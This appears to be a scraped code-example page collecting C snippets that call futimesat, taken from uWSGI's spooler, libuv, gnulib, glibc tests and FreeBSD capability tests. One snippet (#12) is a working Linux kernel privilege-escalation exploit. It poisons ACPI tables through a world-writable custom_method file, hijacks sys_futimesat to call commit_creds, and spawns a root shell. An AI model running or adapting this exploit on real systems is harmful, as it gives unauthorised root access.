	CHECK(close(ret) == 0);
	ret = unlinkat(dfd_cap, "cap_unlinkat", 0);
	CHECK_RESULT(unlinkat, CAP_UNLINKAT | CAP_LOOKUP, ret == 0);
	CHECK(ret == 0 || unlinkat(dirfd, "cap_unlinkat", 0) == 0);
	ret = mkdirat(dirfd, "cap_unlinkat", 0700);
	CHECK(ret == 0);
	ret = unlinkat(dfd_cap, "cap_unlinkat", AT_REMOVEDIR);
	CHECK_RESULT(unlinkat, CAP_UNLINKAT | CAP_LOOKUP, ret == 0);
	CHECK(ret == 0 || unlinkat(dirfd, "cap_unlinkat", AT_REMOVEDIR) == 0);

	pollfd.fd = fd_cap;
	pollfd.events = POLLIN | POLLERR | POLLHUP;
	pollfd.revents = 0;

	ret = poll(&pollfd, 1, 0);
	if (rights & CAP_EVENT)
		CHECK((pollfd.revents & POLLNVAL) == 0);
	else
		CHECK((pollfd.revents & POLLNVAL) != 0);

	/* XXX: select, kqueue */

	close(fd_cap);
	close(fd_capcap);

	if (success == -1) {
		fprintf(stderr, "No tests for rights 0x%jx.\n",
		    (uintmax_t)rights);
		success = FAILED;
	}
	return (success);
}
Пример #10
0
int spool_request(struct uwsgi_spooler *uspool, char *filename, int rn, int core_id, char *buffer, int size, char *priority, time_t at, char *body, size_t body_len) {

    struct timeval tv;
    int fd;
    struct uwsgi_header uh;

    if (!uspool) {
        uspool = uwsgi.spoolers;
    }

    // this lock is for threads, the pid value in filename will avoid multiprocess races
    uwsgi_lock(uspool->lock);

    gettimeofday(&tv, NULL);

    if (priority) {
        if (snprintf(filename, 1024, "%s/%s", uspool->dir, priority) <= 0) {
            uwsgi_unlock(uspool->lock);
            return 0;
        }
        // no need to check for errors...
        (void) mkdir(filename, 0777);

        if (snprintf(filename, 1024, "%s/%s/uwsgi_spoolfile_on_%s_%d_%d_%d_%llu_%llu", uspool->dir, priority, uwsgi.hostname, (int) getpid(), rn, core_id, (unsigned long long) tv.tv_sec, (unsigned long long) tv.tv_usec) <= 0) {
            uwsgi_unlock(uspool->lock);
            return 0;
        }
    }
    else {
        if (snprintf(filename, 1024, "%s/uwsgi_spoolfile_on_%s_%d_%d_%d_%llu_%llu", uspool->dir, uwsgi.hostname, (int) getpid(), rn, core_id, (unsigned long long) tv.tv_sec, (unsigned long long) tv.tv_usec) <= 0) {
            uwsgi_unlock(uspool->lock);
            return 0;
        }
    }

    fd = open(filename, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR);
    if (fd < 0) {
        uwsgi_error_open(filename);
        uwsgi_unlock(uspool->lock);
        return 0;
    }

    // now lock the file, it will no be runnable, until the lock is not removed
    // a race could come if the spooler take the file before fcntl is called
    // in such case the spooler will detect a zeroed file and will retry later
    if (uwsgi_fcntl_lock(fd)) {
        close(fd);
        uwsgi_unlock(uspool->lock);
        return 0;
    }

    uh.modifier1 = 17;
    uh.modifier2 = 0;
    uh.pktsize = (uint16_t) size;
#ifdef __BIG_ENDIAN__
    uh.pktsize = uwsgi_swap16(uh.pktsize);
#endif

    if (write(fd, &uh, 4) != 4) {
        goto clear;
    }

    if (write(fd, buffer, size) != size) {
        goto clear;
    }

    if (body && body_len > 0) {
        if ((size_t)write(fd, body, body_len) != body_len) {
            goto clear;
        }
    }

    if (at > 0) {
        struct timeval tv[2];
        tv[0].tv_sec = at;
        tv[0].tv_usec = 0;
        tv[1].tv_sec = at;
        tv[1].tv_usec = 0;
#ifdef __sun__
        if (futimesat(fd, NULL, tv)) {
#else
        if (futimes(fd, tv)) {
#endif
            uwsgi_error("futimes()");
        }
    }

    // here the file will be unlocked too
    close(fd);

    if (!uwsgi.spooler_quiet)
        uwsgi_log("[spooler] written %d bytes to file %s\n", size + body_len + 4, filename);

    // and here waiting threads can continue
    uwsgi_unlock(uspool->lock);

    /*	wake up the spoolers attached to the specified dir ... (HACKY)
    	no need to fear races, as USR1 is harmless an all of the uWSGI processes...
    	it could be a problem if a new process takes the old pid, but modern systems should avoid that
    */

    struct uwsgi_spooler *spoolers = uwsgi.spoolers;
    while(spoolers) {
        if (!strcmp(spoolers->dir, uspool->dir)) {
            if (spoolers->pid > 0 && spoolers->running == 0) {
                (void) kill(spoolers->pid, SIGUSR1);
            }
        }
        spoolers = spoolers->next;
    }

    return 1;


clear:
    uwsgi_unlock(uspool->lock);
    uwsgi_error("write()");
    if (unlink(filename)) {
        uwsgi_error("unlink()");
    }
    // unlock the file too
    close(fd);
    return 0;
}



void spooler(struct uwsgi_spooler *uspool) {

    // prevent process blindly reading stdin to make mess
    int nullfd;

    // asked by Marco Beri
#ifdef __HAIKU__
#ifdef UWSGI_DEBUG
    uwsgi_log("lowering spooler priority to %d\n", B_LOW_PRIORITY);
#endif
    set_thread_priority(find_thread(NULL), B_LOW_PRIORITY);
#else
#ifdef UWSGI_DEBUG
    uwsgi_log("lowering spooler priority to %d\n", PRIO_MAX);
#endif
    setpriority(PRIO_PROCESS, getpid(), PRIO_MAX);
#endif

    nullfd = open("/dev/null", O_RDONLY);
    if (nullfd < 0) {
        uwsgi_error_open("/dev/null");
        exit(1);
    }

    if (nullfd != 0) {
        dup2(nullfd, 0);
        close(nullfd);
    }

    int spooler_event_queue = event_queue_init();
    int interesting_fd = -1;

    if (uwsgi.master_process) {
        event_queue_add_fd_read(spooler_event_queue, uwsgi.shared->spooler_signal_pipe[1]);
    }

    // reset the tasks counter
    uspool->tasks = 0;

    for (;;) {


        if (chdir(uspool->dir)) {
            uwsgi_error("chdir()");
            exit(1);
        }

        if (uwsgi.spooler_ordered) {
#ifdef __linux__
            spooler_scandir(uspool, NULL);
#else
            spooler_readdir(uspool, NULL);
#endif
        }
        else {
            spooler_readdir(uspool, NULL);
        }

        int timeout = uwsgi.shared->spooler_frequency;
        if (wakeup > 0) {
            timeout = 0;
        }

        if (event_queue_wait(spooler_event_queue, timeout, &interesting_fd) > 0) {
            if (uwsgi.master_process) {
                if (interesting_fd == uwsgi.shared->spooler_signal_pipe[1]) {
                    uwsgi_receive_signal(interesting_fd, "spooler", (int) getpid());
                }
            }
        }

        // avoid races
        uint64_t tmp_wakeup = wakeup;
        if (tmp_wakeup > 0) {
            tmp_wakeup--;
        }
        wakeup = tmp_wakeup;

        // need to recycle ?
        if (uwsgi.spooler_max_tasks > 0 && uspool->tasks >= (uint64_t)uwsgi.spooler_max_tasks) {
            uwsgi_log("[spooler %s pid: %d] maximum number of tasks reached (%d) recycling ...\n", uspool->dir, (int) uwsgi.mypid, uwsgi.spooler_max_tasks);
            end_me(0);
        }

    }
}
Пример #11
0
static ssize_t uv__fs_futime(uv_fs_t* req) {
#if defined(__linux__)
  /* utimesat() has nanosecond resolution but we stick to microseconds
   * for the sake of consistency with other platforms.
   */
  static int no_utimesat;
  struct timespec ts[2];
  struct timeval tv[2];
  char path[sizeof("/proc/self/fd/") + 3 * sizeof(int)];
  int r;

  if (no_utimesat)
    goto skip;

  ts[0].tv_sec  = req->atime;
  ts[0].tv_nsec = (unsigned long)(req->atime * 1000000) % 1000000 * 1000;
  ts[1].tv_sec  = req->mtime;
  ts[1].tv_nsec = (unsigned long)(req->mtime * 1000000) % 1000000 * 1000;

  r = uv__utimesat(req->file, NULL, ts, 0);
  if (r == 0)
    return r;

  if (errno != ENOSYS)
    return r;

  no_utimesat = 1;

skip:

  tv[0].tv_sec  = req->atime;
  tv[0].tv_usec = (unsigned long)(req->atime * 1000000) % 1000000;
  tv[1].tv_sec  = req->mtime;
  tv[1].tv_usec = (unsigned long)(req->mtime * 1000000) % 1000000;
  snprintf(path, sizeof(path), "/proc/self/fd/%d", (int) req->file);

  r = utimes(path, tv);
  if (r == 0)
    return r;

  switch (errno) {
  case ENOENT:
    if (fcntl(req->file, F_GETFL) == -1 && errno == EBADF)
      break;
    /* Fall through. */

  case EACCES:
  case ENOTDIR:
    errno = ENOSYS;
    break;
  }

  return r;

#elif defined(__APPLE__)                                                      \
    || defined(__DragonFly__)                                                 \
    || defined(__FreeBSD__)                                                   \
    || defined(__NetBSD__)                                                    \
    || defined(__OpenBSD__)                                                   \
    || defined(__sun)
  struct timeval tv[2];
  tv[0].tv_sec  = req->atime;
  tv[0].tv_usec = (unsigned long)(req->atime * 1000000) % 1000000;
  tv[1].tv_sec  = req->mtime;
  tv[1].tv_usec = (unsigned long)(req->mtime * 1000000) % 1000000;
# if defined(__sun)
  return futimesat(req->file, NULL, tv);
# else
  return futimes(req->file, tv);
# endif
#else
  errno = ENOSYS;
  return -1;
#endif
}
Пример #12
0
int
main(int argc, char **argv)
{
	int ret;
	FILE *fp;
	char buf[64];
	struct stat sb;
	char payload[PAYLOAD_LEN] = PAYLOAD_AML;
	unsigned long sys_futimesat, prepare_kernel_cred, commit_creds;

	printf("[+] resolving required symbols...\n");

	sys_futimesat = get_symbol("sys_futimesat");
	if (!sys_futimesat) {
		printf("[-] sys_futimesat symbol not found, aborting!\n");
		exit(1);
	}

	prepare_kernel_cred = get_symbol("prepare_kernel_cred");
	if (!prepare_kernel_cred) {
		printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
		exit(1);
	}

	commit_creds = get_symbol("commit_creds");
	if (!commit_creds) {
		printf("[-] commit_creds symbol not found, aborting!\n");
		exit(1);
	}

	printf("[+] checking for world-writable custom_method...\n");

	ret = stat(CUSTOM_METHOD, &sb);
	if (ret < 0) {
		printf("[-] custom_method not found, kernel is not vulnerable!\n");
		exit(1);
	}

	if (!(sb.st_mode & S_IWOTH)) {
		printf("[-] custom_method not world-writable, kernel is not vulnerable!\n");
		exit(1);
	}

	printf("[+] checking for an ACPI LID device...\n");

	ret = stat(HEY_ITS_A_LID, &sb);
	if (ret < 0) {
		printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n");
		exit(1);
	}

	if (sizeof(sys_futimesat) != 8) {
		printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n");
		exit(1);
	}

	sys_futimesat &= ~0xffffffff80000000;
	memcpy(&payload[63], &sys_futimesat, 4);
	memcpy(&payload[101], &commit_creds, 4);
	memcpy(&payload[108], &prepare_kernel_cred, 4);

	printf("[+] poisoning ACPI tables via custom_method...\n");

	fp = fopen(CUSTOM_METHOD, "w");
	fwrite(payload, 1, sizeof(payload), fp);
	fclose(fp);

	printf("[+] triggering ACPI payload via LID device...\n");

	fp = fopen(HEY_ITS_A_LID, "r");
	fread(&buf, 1, sizeof(buf), fp);
	fclose(fp);

	printf("[+] triggering exploit via futimesat...\n");

	ret = futimesat(0, "/tmp", NULL);

	if (ret != -1 || errno != EDOTDOT) {
		printf("[-] unexpected futimesat errno, exploit failed!\n");
		exit(1);
	}

	if (getuid() != 0) {
		printf("[-] privileges not escalated, exploit failed!\n");
		exit(1);
	}

	printf("[+] launching root shell!\n");
	execl("/bin/sh", "/bin/sh", NULL);
}
Пример #13
0
int
gl_futimens (int fd ATTRIBUTE_UNUSED,
	     char const *file, struct timespec const timespec[2])
{
  /* Some Linux-based NFS clients are buggy, and mishandle time stamps
     of files in NFS file systems in some cases.  We have no
     configure-time test for this, but please see
     <http://bugs.gentoo.org/show_bug.cgi?id=132673> for references to
     some of the problems with Linux 2.6.16.  If this affects you,
     compile with -DHAVE_BUGGY_NFS_TIME_STAMPS; this is reported to
     help in some cases, albeit at a cost in performance.  But you
     really should upgrade your kernel to a fixed version, since the
     problem affects many applications.  */

#if HAVE_BUGGY_NFS_TIME_STAMPS
  if (fd < 0)
    sync ();
  else
    fsync (fd);
#endif

  /* POSIX 200x added two interfaces to set file timestamps with
     nanosecond resolution.  We provide a fallback for ENOSYS (for
     example, compiling against Linux 2.6.25 kernel headers and glibc
     2.7, but running on Linux 2.6.18 kernel).  */
#if HAVE_UTIMENSAT
  if (fd < 0)
    {
      int result = utimensat (AT_FDCWD, file, timespec, 0);
# ifdef __linux__
      /* Work around what might be a kernel bug:
         http://bugzilla.redhat.com/442352
         http://bugzilla.redhat.com/449910
         It appears that utimensat can mistakenly return 280 rather
         than -1 upon failure.
         FIXME: remove in 2010 or whenever the offending kernels
         are no longer in common use.  */
      if (0 < result)
        errno = ENOSYS;
# endif

      if (result == 0 || errno != ENOSYS)
        return result;
    }
#endif
#if HAVE_FUTIMENS
  {
    int result = futimens (fd, timespec);
# ifdef __linux__
    /* Work around the same bug as above.  */
    if (0 < result)
      errno = ENOSYS;
# endif
    if (result == 0 || errno != ENOSYS)
      return result;
  }
#endif

  /* The platform lacks an interface to set file timestamps with
     nanosecond resolution, so do the best we can, discarding any
     fractional part of the timestamp.  */
  {
#if HAVE_FUTIMESAT || HAVE_WORKING_UTIMES
    struct timeval timeval[2];
    struct timeval const *t;
    if (timespec)
      {
	timeval[0].tv_sec = timespec[0].tv_sec;
	timeval[0].tv_usec = timespec[0].tv_nsec / 1000;
	timeval[1].tv_sec = timespec[1].tv_sec;
	timeval[1].tv_usec = timespec[1].tv_nsec / 1000;
	t = timeval;
      }
    else
      t = NULL;

    if (fd < 0)
      {
# if HAVE_FUTIMESAT
	return futimesat (AT_FDCWD, file, t);
# endif
      }
    else
      {
	/* If futimesat or futimes fails here, don't try to speed things
	   up by returning right away.  glibc can incorrectly fail with
	   errno == ENOENT if /proc isn't mounted.  Also, Mandrake 10.0
	   in high security mode doesn't allow ordinary users to read
	   /proc/self, so glibc incorrectly fails with errno == EACCES.
	   If errno == EIO, EPERM, or EROFS, it's probably safe to fail
	   right away, but these cases are rare enough that they're not
	   worth optimizing, and who knows what other messed-up systems
	   are out there?  So play it safe and fall back on the code
	   below.  */
# if HAVE_FUTIMESAT
	if (futimesat (fd, NULL, t) == 0)
	  return 0;
# elif HAVE_FUTIMES
	if (futimes (fd, t) == 0)
	  return 0;
# endif
      }
#endif /* HAVE_FUTIMESAT || HAVE_WORKING_UTIMES */

    if (!file)
      {
#if ! (HAVE_FUTIMESAT || (HAVE_WORKING_UTIMES && HAVE_FUTIMES))
	errno = ENOSYS;
#endif

	/* Prefer EBADF to ENOSYS if both error numbers apply.  */
	if (errno == ENOSYS)
	  {
	    int fd2 = dup (fd);
	    int dup_errno = errno;
	    if (0 <= fd2)
	      close (fd2);
	    errno = (fd2 < 0 && dup_errno == EBADF ? EBADF : ENOSYS);
	  }

	return -1;
      }

#if HAVE_WORKING_UTIMES
    return utimes (file, t);
#else
    {
      struct utimbuf utimbuf;
      struct utimbuf const *ut;
      if (timespec)
	{
	  utimbuf.actime = timespec[0].tv_sec;
	  utimbuf.modtime = timespec[1].tv_sec;
	  ut = &utimbuf;
	}
      else
	ut = NULL;

      return utime (file, ut);
    }
#endif /* !HAVE_WORKING_UTIMES */
  }
}
Пример #14
0
/*
CHANGED in 2.0.7: wsgi_req is useless !
*/
char *uwsgi_spool_request(struct wsgi_request *wsgi_req, char *buf, size_t len, char *body, size_t body_len) {

	struct timeval tv;
	static uint64_t internal_counter = 0;
	int fd = -1;
	struct spooler_req sr;

	if (len > 0xffff) {
		uwsgi_log("[uwsgi-spooler] args buffer is limited to 64k, use the 'body' for bigger values\n");
		return NULL;
	}

	// parse the request buffer
	memset(&sr, 0, sizeof(struct spooler_req));
	uwsgi_hooked_parse(buf, len, spooler_req_parser_hook, &sr);
	
	struct uwsgi_spooler *uspool = uwsgi.spoolers;
	if (!uspool) {
		uwsgi_log("[uwsgi-spooler] no spooler available\n");
		return NULL;
	}

	// if it is a number, get the spooler by id instead of by name
	if (sr.spooler && sr.spooler_len) {
		uspool = uwsgi_get_spooler_by_name(sr.spooler, sr.spooler_len);
		if (!uspool) {
			uwsgi_log("[uwsgi-spooler] unable to find spooler \"%.*s\"\n", sr.spooler_len, sr.spooler);
			return NULL;
		}
	}

	// this lock is for threads, the pid value in filename will avoid multiprocess races
	uwsgi_lock(uspool->lock);

	// we increase it even if the request fails
	internal_counter++;

	gettimeofday(&tv, NULL);

	char *filename = NULL;
	size_t filename_len = 0;

	if (sr.priority && sr.priority_len) {
		filename_len = strlen(uspool->dir) + sr.priority_len + strlen(uwsgi.hostname) + 256;	
		filename = uwsgi_malloc(filename_len);
		int ret = snprintf(filename, filename_len, "%s/%.*s", uspool->dir, (int) sr.priority_len, sr.priority);
		if (ret <= 0 || ret >= (int) filename_len) {
			uwsgi_log("[uwsgi-spooler] error generating spooler filename\n");
			free(filename);
			uwsgi_unlock(uspool->lock);
			return NULL;
		}
		// no need to check for errors...
		(void) mkdir(filename, 0777);

		ret = snprintf(filename, filename_len, "%s/%.*s/uwsgi_spoolfile_on_%s_%d_%llu_%d_%llu_%llu", uspool->dir, (int)sr.priority_len, sr.priority, uwsgi.hostname, (int) getpid(), (unsigned long long) internal_counter, rand(),
				(unsigned long long) tv.tv_sec, (unsigned long long) tv.tv_usec);
		if (ret <= 0 || ret >=(int)  filename_len) {
                        uwsgi_log("[uwsgi-spooler] error generating spooler filename\n");
			free(filename);
			uwsgi_unlock(uspool->lock);
			return NULL;
		}
	}
	else {
		filename_len = strlen(uspool->dir) + strlen(uwsgi.hostname) + 256;
                filename = uwsgi_malloc(filename_len);
		int ret = snprintf(filename, filename_len, "%s/uwsgi_spoolfile_on_%s_%d_%llu_%d_%llu_%llu", uspool->dir, uwsgi.hostname, (int) getpid(), (unsigned long long) internal_counter,
				rand(), (unsigned long long) tv.tv_sec, (unsigned long long) tv.tv_usec);
		if (ret <= 0 || ret >= (int) filename_len) {
                        uwsgi_log("[uwsgi-spooler] error generating spooler filename\n");
			free(filename);
			uwsgi_unlock(uspool->lock);
			return NULL;
		}
	}

	fd = open(filename, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR);
	if (fd < 0) {
		uwsgi_error_open(filename);
		free(filename);
		uwsgi_unlock(uspool->lock);
		return NULL;
	}

	// now lock the file, it will no be runnable, until the lock is not removed
	// a race could come if the spooler take the file before fcntl is called
	// in such case the spooler will detect a zeroed file and will retry later
	if (uwsgi_fcntl_lock(fd)) {
		close(fd);
		free(filename);
		uwsgi_unlock(uspool->lock);
		return NULL;
	}

	struct uwsgi_header uh;
	uh.modifier1 = 17;
	uh.modifier2 = 0;
	uh.pktsize = (uint16_t) len;
#ifdef __BIG_ENDIAN__
	uh.pktsize = uwsgi_swap16(uh.pktsize);
#endif

	if (write(fd, &uh, 4) != 4) {
		uwsgi_log("[spooler] unable to write header for %s\n", filename);
		goto clear;
	}

	if (write(fd, buf, len) != (ssize_t) len) {
		uwsgi_log("[spooler] unable to write args for %s\n", filename);
		goto clear;
	}

	if (body && body_len > 0) {
		if ((size_t) write(fd, body, body_len) != body_len) {
			uwsgi_log("[spooler] unable to write body for %s\n", filename);
			goto clear;
		}
	}

	if (sr.at > 0) {
#ifdef __UCLIBC__
		struct timespec ts[2]; 
		ts[0].tv_sec = sr.at; 
		ts[0].tv_nsec = 0;
		ts[1].tv_sec = sr.at;
		ts[1].tv_nsec = 0; 
		if (futimens(fd, ts)) {
			uwsgi_error("uwsgi_spooler_request()/futimens()");	
		}
#else
		struct timeval tv[2];
		tv[0].tv_sec = sr.at;
		tv[0].tv_usec = 0;
		tv[1].tv_sec = sr.at;
		tv[1].tv_usec = 0;
#ifdef __sun__
		if (futimesat(fd, NULL, tv)) {
#else
		if (futimes(fd, tv)) {
#endif
			uwsgi_error("uwsgi_spooler_request()/futimes()");
		}
#endif
	}

	// here the file will be unlocked too
	close(fd);

	if (!uwsgi.spooler_quiet)
		uwsgi_log("[spooler] written %lu bytes to file %s\n", (unsigned long) len + body_len + 4, filename);

	// and here waiting threads can continue
	uwsgi_unlock(uspool->lock);

/*	wake up the spoolers attached to the specified dir ... (HACKY) 
	no need to fear races, as USR1 is harmless an all of the uWSGI processes...
	it could be a problem if a new process takes the old pid, but modern systems should avoid that
*/

	struct uwsgi_spooler *spoolers = uwsgi.spoolers;
	while (spoolers) {
		if (!strcmp(spoolers->dir, uspool->dir)) {
			if (spoolers->pid > 0 && spoolers->running == 0) {
				(void) kill(spoolers->pid, SIGUSR1);
			}
		}
		spoolers = spoolers->next;
	}

	return filename;


clear:
	uwsgi_unlock(uspool->lock);
	uwsgi_error("uwsgi_spool_request()/write()");
	if (unlink(filename)) {
		uwsgi_error("uwsgi_spool_request()/unlink()");
	}
	free(filename);
	// unlock the file too
	close(fd);
	return NULL;
}



void spooler(struct uwsgi_spooler *uspool) {

	// prevent process blindly reading stdin to make mess
	int nullfd;

	// asked by Marco Beri
#ifdef __HAIKU__
#ifdef UWSGI_DEBUG
	uwsgi_log("lowering spooler priority to %d\n", B_LOW_PRIORITY);
#endif
	set_thread_priority(find_thread(NULL), B_LOW_PRIORITY);
#else
#ifdef UWSGI_DEBUG
	uwsgi_log("lowering spooler priority to %d\n", PRIO_MAX);
#endif
	setpriority(PRIO_PROCESS, getpid(), PRIO_MAX);
#endif

	nullfd = open("/dev/null", O_RDONLY);
	if (nullfd < 0) {
		uwsgi_error_open("/dev/null");
		exit(1);
	}

	if (nullfd != 0) {
		dup2(nullfd, 0);
		close(nullfd);
	}

	int spooler_event_queue = event_queue_init();
	int interesting_fd = -1;

	if (uwsgi.master_process) {
		event_queue_add_fd_read(spooler_event_queue, uwsgi.shared->spooler_signal_pipe[1]);
	}

	// reset the tasks counter
	uspool->tasks = 0;

	for (;;) {


		if (chdir(uspool->dir)) {
			uwsgi_error("chdir()");
			exit(1);
		}

		if (uwsgi.spooler_ordered) {
#ifdef __linux__
			spooler_scandir(uspool, NULL);
#else
			spooler_readdir(uspool, NULL);
#endif
		}
		else {
			spooler_readdir(uspool, NULL);
		}

		int timeout = uwsgi.shared->spooler_frequency ? uwsgi.shared->spooler_frequency : uwsgi.spooler_frequency;
		if (wakeup > 0) {
			timeout = 0;
		}

		if (event_queue_wait(spooler_event_queue, timeout, &interesting_fd) > 0) {
			if (uwsgi.master_process) {
				if (interesting_fd == uwsgi.shared->spooler_signal_pipe[1]) {
					uwsgi_receive_signal(interesting_fd, "spooler", (int) getpid());
				}
			}
		}

		// avoid races
		uint64_t tmp_wakeup = wakeup;
		if (tmp_wakeup > 0) {
			tmp_wakeup--;
		}
		wakeup = tmp_wakeup;

	}
}
Пример #15
0
/* use futimesat */
static int
futimes(int fd, struct timeval *tv)
{
	return futimesat(fd, 0, tv);
}
Пример #16
0
static int
do_test (void)
{
    /* fdopendir takes over the descriptor, make a copy.  */
    int dupfd = dup (dir_fd);
    if (dupfd == -1)
    {
        puts ("dup failed");
        return 1;
    }
    if (lseek (dupfd, 0, SEEK_SET) != 0)
    {
        puts ("1st lseek failed");
        return 1;
    }

    /* The directory should be empty safe the . and .. files.  */
    DIR *dir = fdopendir (dupfd);
    if (dir == NULL)
    {
        puts ("fdopendir failed");
        return 1;
    }
    struct dirent64 *d;
    while ((d = readdir64 (dir)) != NULL)
        if (strcmp (d->d_name, ".") != 0 && strcmp (d->d_name, "..") != 0)
        {
            printf ("temp directory contains file \"%s\"\n", d->d_name);
            return 1;
        }
    closedir (dir);

    /* Try to create a file.  */
    int fd = openat (dir_fd, "some-file", O_CREAT|O_RDWR|O_EXCL, 0666);
    if (fd == -1)
    {
        if (errno == ENOSYS)
        {
            puts ("*at functions not supported");
            return 0;
        }

        puts ("file creation failed");
        return 1;
    }
    write (fd, "hello", 5);
    puts ("file created");

    struct stat64 st1;
    if (fstat64 (fd, &st1) != 0)
    {
        puts ("fstat64 failed");
        return 1;
    }

    close (fd);

    struct timeval tv[2];
    tv[0].tv_sec = st1.st_atime + 1;
    tv[0].tv_usec = 0;
    tv[1].tv_sec = st1.st_mtime + 1;
    tv[1].tv_usec = 0;
    if (futimesat (dir_fd, "some-file", tv) != 0)
    {
        puts ("futimesat failed");
        return 1;
    }

    struct stat64 st2;
    if (fstatat64 (dir_fd, "some-file", &st2, 0) != 0)
    {
        puts ("fstatat64 failed");
        return 1;
    }

    if (st2.st_mtime != tv[1].tv_sec
#ifdef _STATBUF_ST_NSEC
            || st2.st_mtim.tv_nsec != 0
#endif
       )
    {
        puts ("stat shows different mtime");
        return 1;
    }


    if (unlinkat (dir_fd, "some-file", 0) != 0)
    {
        puts ("unlinkat failed");
        return 1;
    }

    close (dir_fd);

    return 0;
}